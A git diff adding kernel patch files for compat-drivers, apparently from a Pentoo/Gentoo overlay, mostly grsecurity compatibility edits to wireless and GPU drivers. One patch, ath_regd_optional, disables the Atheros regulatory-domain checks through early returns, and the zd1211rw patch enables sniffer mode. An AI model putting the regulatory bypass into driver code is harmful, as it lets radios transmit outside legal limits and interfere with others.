++		ACCESS_ONCE_RW(ads->ds_ctl0) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++		ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 		return;
+ 	}
+ 
+@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		break;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		| (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable :
+ 		   (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0));
+ 
+-	ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-	ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++	ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++	ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 
+ 	if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST)
+ 		return;
+ 
+-	ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+--- ./drivers/net/wireless/ath/ath9k/ar9003_mac.c
++++ ./drivers/net/wireless/ath/ath9k/ar9003_mac.c
+@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	      (i->qcu << AR_TxQcuNum_S) | desc_len;
+ 
+ 	checksum += val;
+-	ACCESS_ONCE(ads->info) = val;
++	ACCESS_ONCE_RW(ads->info) = val;
+ 
+ 	checksum += i->link;
+-	ACCESS_ONCE(ads->link) = i->link;
++	ACCESS_ONCE_RW(ads->link) = i->link;
+ 
+ 	checksum += i->buf_addr[0];
+-	ACCESS_ONCE(ads->data0) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0];
+ 	checksum += i->buf_addr[1];
+-	ACCESS_ONCE(ads->data1) = i->buf_addr[1];
++	ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1];
+ 	checksum += i->buf_addr[2];
+-	ACCESS_ONCE(ads->data2) = i->buf_addr[2];
++	ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2];
+ 	checksum += i->buf_addr[3];
+-	ACCESS_ONCE(ads->data3) = i->buf_addr[3];
++	ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3];
+ 
+ 	checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl3) = val;
++	ACCESS_ONCE_RW(ads->ctl3) = val;
+ 	checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl5) = val;
++	ACCESS_ONCE_RW(ads->ctl5) = val;
+ 	checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl7) = val;
++	ACCESS_ONCE_RW(ads->ctl7) = val;
+ 	checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl9) = val;
++	ACCESS_ONCE_RW(ads->ctl9) = val;
+ 
+ 	checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff);
+-	ACCESS_ONCE(ads->ctl10) = checksum;
++	ACCESS_ONCE_RW(ads->ctl10) = checksum;
+ 
+ 	if (i->is_first || i->is_last) {
+-		ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ctl13) = 0;
+-		ACCESS_ONCE(ads->ctl14) = 0;
++		ACCESS_ONCE_RW(ads->ctl13) = 0;
++		ACCESS_ONCE_RW(ads->ctl14) = 0;
+ 	}
+ 
+ 	ads->ctl20 = 0;
+@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	ctl17 = SM(i->keytype, AR_EncrType);
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ctl11) = 0;
+-		ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
+-		ACCESS_ONCE(ads->ctl15) = 0;
+-		ACCESS_ONCE(ads->ctl16) = 0;
+-		ACCESS_ONCE(ads->ctl17) = ctl17;
+-		ACCESS_ONCE(ads->ctl18) = 0;
+-		ACCESS_ONCE(ads->ctl19) = 0;
++		ACCESS_ONCE_RW(ads->ctl11) = 0;
++		ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore;
++		ACCESS_ONCE_RW(ads->ctl15) = 0;
++		ACCESS_ONCE_RW(ads->ctl16) = 0;
++		ACCESS_ONCE_RW(ads->ctl17) = ctl17;
++		ACCESS_ONCE_RW(ads->ctl18) = 0;
++		ACCESS_ONCE_RW(ads->ctl19) = 0;
+ 		return;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S;
+ 	ctl12 |= SM(val, AR_PAPRDChainMask);
+ 
+-	ACCESS_ONCE(ads->ctl12) = ctl12;
+-	ACCESS_ONCE(ads->ctl17) = ctl17;
++	ACCESS_ONCE_RW(ads->ctl12) = ctl12;
++	ACCESS_ONCE_RW(ads->ctl17) = ctl17;
+ 
+-	ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+ 		| SM(i->rtscts_rate, AR_RTSCTSRate);
+ 
+-	ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding;
++	ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding;
+ }
+ 
+ static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads)
+--- ./drivers/net/wireless/ath/ath9k/hw.h
++++ ./drivers/net/wireless/ath/ath9k/hw.h
+@@ -657,7 +657,7 @@ struct ath_hw_private_ops {
+ 
+ 	/* ANI */
+ 	void (*ani_cache_ini_regs)(struct ath_hw *ah);
+-};
++} __no_const;
+ 
+ /**
+  * struct ath_hw_ops - callbacks used by hardware code and driver code
+@@ -687,7 +687,7 @@ struct ath_hw_ops {
+ 	void (*antdiv_comb_conf_set)(struct ath_hw *ah,
+ 			struct ath_hw_antcomb_conf *antconf);
+ 	void (*antctrl_shared_chain_lnadiv)(struct ath_hw *hw, bool enable);
+-};
++} __no_const;
+ 
+ struct ath_nf_limits {
+ 	s16 max;
+@@ -707,7 +707,7 @@ enum ath_cal_list {
+ #define AH_FASTCC       0x4
+ 
+ struct ath_hw {
+-	struct ath_ops reg_ops;
++	ath_ops_no_const reg_ops;
+ 
+ 	struct ieee80211_hw *hw;
+ 	struct ath_common common;
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/03-read-only-memory.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/03-read-only-memory.patch
new file mode 100644
index 00000000..41c87b9a
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/03-read-only-memory.patch
@@ -0,0 +1,11 @@
+--- ./include/drm/ttm/ttm_memory.h
++++ ./include/drm/ttm/ttm_memory.h
+@@ -48,7 +48,7 @@
+ 
+ struct ttm_mem_shrink {
+ 	int (*do_shrink) (struct ttm_mem_shrink *);
+-};
++} __no_const;
+ 
+ /**
+  * struct ttm_mem_global - Global memory accounting structure.
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/04-read-only-brcm80211.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/04-read-only-brcm80211.patch
new file mode 100644
index 00000000..865a62d5
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/04-read-only-brcm80211.patch
@@ -0,0 +1,11 @@
+--- ./drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h
++++ ./drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h
+@@ -545,7 +545,7 @@
+ 	void (*carrsuppr)(struct brcms_phy *);
+ 	s32 (*rxsigpwr)(struct brcms_phy *, s32);
+ 	void (*detach)(struct brcms_phy *);
+-};
++} __no_const;
+ 
+ struct brcms_phy {
+ 	struct brcms_phy_pub pubpi_ro;
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/05-read-only-i915.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/05-read-only-i915.patch
new file mode 100644
index 00000000..15a62f5e
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/05-read-only-i915.patch
@@ -0,0 +1,17 @@
+--- ./drivers/gpu/drm/i915/i915_drv.h
++++ ./drivers/gpu/drm/i915/i915_drv.h
+@@ -284,12 +284,12 @@
+ 	/* render clock increase/decrease */
+ 	/* display clock increase/decrease */
+ 	/* pll clock increase/decrease */
+-};
++} __no_const;
+ 
+ struct drm_i915_gt_funcs {
+ 	void (*force_wake_get)(struct drm_i915_private *dev_priv);
+ 	void (*force_wake_put)(struct drm_i915_private *dev_priv);
+-};
++} __no_const;
+ 
+ #define DEV_INFO_FLAGS \
+ 	DEV_INFO_FLAG(is_mobile) DEV_INFO_SEP \
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/06-read-only-radeon.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/06-read-only-radeon.patch
new file mode 100644
index 00000000..f9180c45
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/06-read-only-radeon.patch
@@ -0,0 +1,58 @@
+--- ./drivers/gpu/drm/radeon/radeon.h
++++ ./drivers/gpu/drm/radeon/radeon.h
+@@ -741,7 +741,7 @@
+ 			     int x2, int y2);
+ 	void (*draw_auto)(struct radeon_device *rdev);
+ 	void (*set_default_state)(struct radeon_device *rdev);
+-};
++} __no_const;
+ 
+ struct r600_blit {
+ 	struct radeon_bo	*shader_obj;
+@@ -1173,7 +1173,7 @@
+ 	struct {
+ 		void (*tlb_flush)(struct radeon_device *rdev);
+ 		int (*set_page)(struct radeon_device *rdev, int i, uint64_t addr);
+-	} gart;
++	} __no_const gart;
+ 	struct {
+ 		int (*init)(struct radeon_device *rdev);
+ 		void (*fini)(struct radeon_device *rdev);
+@@ -1214,7 +1214,7 @@
+ 		void (*set_backlight_level)(struct radeon_encoder *radeon_encoder, u8 level);
+ 		/* get backlight level */
+ 		u8 (*get_backlight_level)(struct radeon_encoder *radeon_encoder);
+-	} display;
++	} __no_const display;
+ 	/* copy functions for bo handling */
+ 	struct {
+ 		int (*blit)(struct radeon_device *rdev,
+@@ -1266,7 +1266,7 @@
+ 		int (*get_pcie_lanes)(struct radeon_device *rdev);
+ 		void (*set_pcie_lanes)(struct radeon_device *rdev, int lanes);
+ 		void (*set_clock_gating)(struct radeon_device *rdev, int enable);
+-	} pm;
++	} __no_const pm;
+ 	/* pageflipping */
+ 	struct {
+ 		void (*pre_page_flip)(struct radeon_device *rdev, int crtc);
+@@ -1542,6 +1542,8 @@
+ typedef uint32_t (*radeon_rreg_t)(struct radeon_device*, uint32_t);
+ typedef void (*radeon_wreg_t)(struct radeon_device*, uint32_t, uint32_t);
+ 
++typedef struct vm_operations_struct __no_const vm_operations_struct_no_const; 
++
+ struct radeon_device {
+ 	struct device			*dev;
+ 	struct drm_device		*ddev;
+--- ./drivers/gpu/drm/radeon/radeon_ttm.c
++++ ./drivers/gpu/drm/radeon/radeon_ttm.c
+@@ -791,7 +791,7 @@
+ 	man->size = size >> PAGE_SHIFT;
+ }
+ 
+-static struct vm_operations_struct radeon_ttm_vm_ops;
++static vm_operations_struct_no_const radeon_ttm_vm_ops;
+ static const struct vm_operations_struct *ttm_vm_ops = NULL;
+ 
+ static int radeon_ttm_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/07-read-only-wl1251.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/07-read-only-wl1251.patch
new file mode 100644
index 00000000..158f59ab
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/07-read-only-wl1251.patch
@@ -0,0 +1,11 @@
+--- ./drivers/net/wireless/ti/wl1251/wl1251.h
++++ ./drivers/net/wireless/ti/wl1251/wl1251.h
+@@ -266,7 +266,7 @@
+ 	void (*reset)(struct wl1251 *wl);
+ 	void (*enable_irq)(struct wl1251 *wl);
+ 	void (*disable_irq)(struct wl1251 *wl);
+-};
++} __no_const;
+ 
+ struct wl1251 {
+ 	struct ieee80211_hw *hw;
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/08-read-only-ti.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/08-read-only-ti.patch
new file mode 100644
index 00000000..8236b601
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/08-read-only-ti.patch
@@ -0,0 +1,11 @@
+--- ./drivers/net/wireless/ti/wlcore/wlcore.h
++++ ./drivers/net/wireless/ti/wlcore/wlcore.h
+@@ -88,7 +88,7 @@
+ 		       struct ieee80211_sta *sta,
+ 		       struct ieee80211_key_conf *key_conf);
+ 	u32 (*pre_pkt_send)(struct wl1271 *wl, u32 buf_offset, u32 last_len);
+-};
++} __no_const;
+ 
+ enum wlcore_partitions {
+ 	PART_DOWN,
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/09-read-only-nouveau.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/09-read-only-nouveau.patch
new file mode 100644
index 00000000..d4ac0e52
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/09-read-only-nouveau.patch
@@ -0,0 +1,33 @@
+--- ./drivers/gpu/drm/nouveau/nouveau_fence.h
++++ ./drivers/gpu/drm/nouveau/nouveau_fence.h
+@@ -43,7 +43,7 @@
+ 	int  (*sync)(struct nouveau_fence *, struct nouveau_channel *,
+ 		     struct nouveau_channel *);
+ 	u32  (*read)(struct nouveau_channel *);
+-};
++} __no_const;
+ 
+ #define nouveau_fence(drm) ((struct nouveau_fence_priv *)(drm)->fence)
+ 
+--- ./drivers/gpu/drm/nouveau/nouveau_bios.c
++++ ./drivers/gpu/drm/nouveau/nouveau_bios.c
+@@ -1015,7 +1015,7 @@
+ struct bit_table {
+ 	const char id;
+ 	int (* const parse_fn)(struct drm_device *, struct nvbios *, struct bit_entry *);
+-};
++} __no_const;
+ 
+ #define BIT_TABLE(id, funcid) ((struct bit_table){ id, parse_bit_##funcid##_tbl_entry })
+ 
+--- ./include/drm/drm_crtc_helper.h
++++ ./include/drm/drm_crtc_helper.h
+@@ -109,7 +109,7 @@
+ 					    struct drm_connector *connector);
+ 	/* disable encoder when not in use - more explicit than dpms off */
+ 	void (*disable)(struct drm_encoder *encoder);
+-};
++} __no_const;
+ 
+ /**
+  * drm_connector_helper_funcs - helper operations for connectors
diff --git a/sys-kernel/compat-drivers-alx/files/3.8-grsec/20-version-disagrement-iwlwifi.patch b/sys-kernel/compat-drivers-alx/files/3.8-grsec/20-version-disagrement-iwlwifi.patch
new file mode 100644
index 00000000..37791f2d
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/3.8-grsec/20-version-disagrement-iwlwifi.patch
@@ -0,0 +1,139 @@
+--- ./drivers/net/wireless/iwlwifi/dvm/debugfs.c
++++ ./drivers/net/wireless/iwlwifi/dvm/debugfs.c
+@@ -203,7 +203,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[64];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 offset, len;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -473,7 +473,7 @@
+ 	struct iwl_priv *priv = file->private_data;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -554,7 +554,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int ht40;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -606,7 +606,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int value;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1871,7 +1871,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int clear;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1916,7 +1916,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int trace;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1987,7 +1987,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int missed;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2028,7 +2028,7 @@
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int plcp;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2088,7 +2088,7 @@
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int flush;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -2178,7 +2178,7 @@
+ 
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int rts;
+ 
+ 	if (!priv->cfg->ht_params)
+@@ -2220,7 +2220,7 @@
+ {
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) -  1);
+@@ -2256,7 +2256,7 @@
+ 	struct iwl_priv *priv = file->private_data;
+ 	u32 event_log_flag;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	/* check that the interface is up */
+ 	if (!iwl_is_ready(priv))
+@@ -2310,7 +2310,7 @@
+ 	struct iwl_priv *priv = file->private_data;
+ 	char buf[8];
+ 	u32 calib_disabled;
+-	int buf_size;
++	size_t buf_size;
+ 
+ 	memset(buf, 0, sizeof(buf));
+ 	buf_size = min(count, sizeof(buf) - 1);
+--- ./drivers/net/wireless/iwlwifi/pcie/trans.c
++++ ./drivers/net/wireless/iwlwifi/pcie/trans.c
+@@ -1100,7 +1100,7 @@
+ 	struct isr_statistics *isr_stats = &trans_pcie->isr_stats;
+ 
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	u32 reset_flag;
+ 
+ 	memset(buf, 0, sizeof(buf));
+@@ -1121,7 +1121,7 @@
+ {
+ 	struct iwl_trans *trans = file->private_data;
+ 	char buf[8];
+-	int buf_size;
++	size_t buf_size;
+ 	int csr;
+ 
+ 	memset(buf, 0, sizeof(buf));
diff --git a/sys-kernel/compat-drivers-alx/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch b/sys-kernel/compat-drivers-alx/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
new file mode 100644
index 00000000..a2b080f5
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
@@ -0,0 +1,17 @@
+ tx.c |    3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c
+index b47435d..751934b 100644
+--- a/net/mac80211/tx.c
++++ b/net/mac80211/tx.c
+@@ -539,7 +539,8 @@ ieee80211_tx_h_rate_ctrl(struct ieee80211_tx_data *tx)
+ 	if (tx->sta)
+ 		tx->sta->last_tx_rate = txrc.reported_rate;
+ 
+-	if (unlikely(!info->control.rates[0].count))
++	if (unlikely(!info->control.rates[0].count) ||
++	    info->flags & IEEE80211_TX_CTL_NO_ACK)
+ 		info->control.rates[0].count = 1;
+ 
+ 	if (is_multicast_ether_addr(hdr->addr1)) {
diff --git a/sys-kernel/compat-drivers-alx/files/4004_zd1211rw-2.6.28.patch b/sys-kernel/compat-drivers-alx/files/4004_zd1211rw-2.6.28.patch
new file mode 100644
index 00000000..c0697dee
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/4004_zd1211rw-2.6.28.patch
@@ -0,0 +1,37 @@
+diff -Naur linux-2.6.28-pentoo-r1-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.28-pentoo-r1-improved/drivers/net/wireless/zd1211rw/zd_mac.c
+--- linux-2.6.28-pentoo-r1-orig/drivers/net/wireless/zd1211rw/zd_mac.c	2009-01-18 17:49:00.000000000 -0500
++++ linux-2.6.28-pentoo-r1-improved/drivers/net/wireless/zd1211rw/zd_mac.c	2009-01-18 18:46:44.000000000 -0500
+@@ -191,14 +191,19 @@
+ static int set_rx_filter(struct zd_mac *mac)
+ {
+ 	unsigned long flags;
+-	u32 filter = STA_RX_FILTER;
++	struct zd_ioreq32 ioreqs[] = {
++		{CR_RX_FILTER, STA_RX_FILTER},
++		{ CR_SNIFFER_ON, 0U },
++	};
+ 
+ 	spin_lock_irqsave(&mac->lock, flags);
+-	if (mac->pass_ctrl)
+-		filter |= RX_FILTER_CTRL;
++	if (mac->pass_ctrl) {
++		ioreqs[0].value |= 0xFFFFFFFF;
++		ioreqs[1].value = 0x1;
++	}
+ 	spin_unlock_irqrestore(&mac->lock, flags);
+ 
+-	return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter);
++	return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs));
+ }
+ 
+ static int set_mc_hash(struct zd_mac *mac)
+@@ -657,7 +662,8 @@
+ 	/* Caller has to ensure that length >= sizeof(struct rx_status). */
+ 	status = (struct rx_status *)
+ 		(buffer + (length - sizeof(struct rx_status)));
+-	if (status->frame_status & ZD_RX_ERROR) {
++	if ((status->frame_status & ZD_RX_ERROR) || 
++		(status->frame_status & ~0x21)) {
+ 		if (mac->pass_failed_fcs &&
+ 				(status->frame_status & ZD_RX_CRC32_ERROR)) {
+ 			stats.flag |= RX_FLAG_FAILED_FCS_CRC;
diff --git a/sys-kernel/compat-drivers-alx/files/ath_regd_optional.patch b/sys-kernel/compat-drivers-alx/files/ath_regd_optional.patch
new file mode 100644
index 00000000..415fc896
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/ath_regd_optional.patch
@@ -0,0 +1,39 @@
+diff -Naur compat-wireless-3.0-rc4-1-orig/drivers/net/wireless/ath/regd.c compat-wireless-3.0-rc4-1/drivers/net/wireless/ath/regd.c
+--- compat-wireless-3.0-rc4-1-orig/drivers/net/wireless/ath/regd.c	2011-06-23 19:02:22.000000000 -0400
++++ compat-wireless-3.0-rc4-1/drivers/net/wireless/ath/regd.c	2011-06-26 01:52:35.000000000 -0400
+@@ -193,6 +193,8 @@
+ 	u32 bandwidth = 0;
+ 	int r;
+ 
++	return;
++
+ 	for (band = 0; band < IEEE80211_NUM_BANDS; band++) {
+ 
+ 		if (!wiphy->bands[band])
+@@ -252,6 +254,8 @@
+ 	u32 bandwidth = 0;
+ 	int r;
+ 
++	return;
++
+ 	sband = wiphy->bands[IEEE80211_BAND_2GHZ];
+ 
+ 	/*
+@@ -299,6 +303,8 @@
+ 	struct ieee80211_channel *ch;
+ 	unsigned int i;
+ 
++	return;
++
+ 	if (!wiphy->bands[IEEE80211_BAND_5GHZ])
+ 		return;
+ 
+@@ -466,6 +472,8 @@
+ {
+ 	const struct ieee80211_regdomain *regd;
+ 
++	return 0;
++
+ 	wiphy->reg_notifier = reg_notifier;
+ 	wiphy->flags |= WIPHY_FLAG_STRICT_REGULATORY;
+ 
diff --git a/sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch
new file mode 100644
index 00000000..4ff7a73b
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec-warnings.patch
@@ -0,0 +1,34 @@
+Fixes for:
+drivers/net/wireless/ath/ath6kl/sdio.c: In function ‘ath6kl_sdio_alloc_prep_scat_req’:
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the buf_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+drivers/net/wireless/ath/ath6kl/sdio.c:1478:1: warning: find_arg_number: cannot find the sg_sz argument in ath6kl_sdio_alloc_prep_scat_req [enabled by default]
+--- drivers/net/wireless/ath/ath6kl/sdio.c
++++ drivers/net/wireless/ath/ath6kl/sdio.c
+@@ -341,11 +341,14 @@
+ 	scat_list_sz = (n_scat_entry - 1) * sizeof(struct hif_scatter_item);
+ 	scat_req_sz = sizeof(*s_req) + scat_list_sz;
+ 
+-	if (!virt_scat)
++	if (!virt_scat) {
+ 		sg_sz = sizeof(struct scatterlist) * n_scat_entry;
+-	else
++		buf_sz = 0;
++	} else {
++		sg_sz = 0;
+ 		buf_sz =  2 * L1_CACHE_BYTES +
+ 			  ATH6KL_MAX_TRANSFER_SIZE_PER_SCATTER;
++	}
+ 
+ 	for (i = 0; i < n_scat_req; i++) {
+ 		/* allocate the scatter request */
+--- drivers/gpu/drm/i915/intel_display.c
++++ drivers/gpu/drm/i915/intel_display.c
+@@ -6216,7 +6216,7 @@
+ 	obj = work->old_fb_obj;
+ 
+ 	atomic_clear_mask(1 << intel_crtc->plane,
+-			  &obj->pending_flip.counter);
++			  &obj->pending_flip);
+ 
+ 	wake_up(&dev_priv->pending_flip_queue);
+ 	schedule_work(&work->work);
diff --git a/sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec.patch b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec.patch
new file mode 100644
index 00000000..9dfc5adf
--- /dev/null
+++ b/sys-kernel/compat-drivers-alx/files/compat-drivers-3.7_rc1_p6-grsec.patch
@@ -0,0 +1,8365 @@
+--- drivers/net/wireless/ath/ath.h	2012-09-27 23:19:12.000000000 +0000
++++ drivers/net/wireless/ath/ath.h	2012-10-15 17:30:59.818924529 +0000
+@@ -119,6 +119,7 @@ struct ath_ops {
+ 	void (*write_flush) (void *);
+ 	u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr);
+ };
++typedef struct ath_ops __no_const ath_ops_no_const;
+ 
+ struct ath_common;
+ struct ath_bus_ops;
+--- drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-09-27 23:19:11.000000000 +0000
++++ drivers/net/wireless/ath/ath9k/ar9002_mac.c	2012-10-15 17:30:59.816924531 +0000
+@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 	ads->ds_txstatus6 = ads->ds_txstatus7 = 0;
+ 	ads->ds_txstatus8 = ads->ds_txstatus9 = 0;
+ 
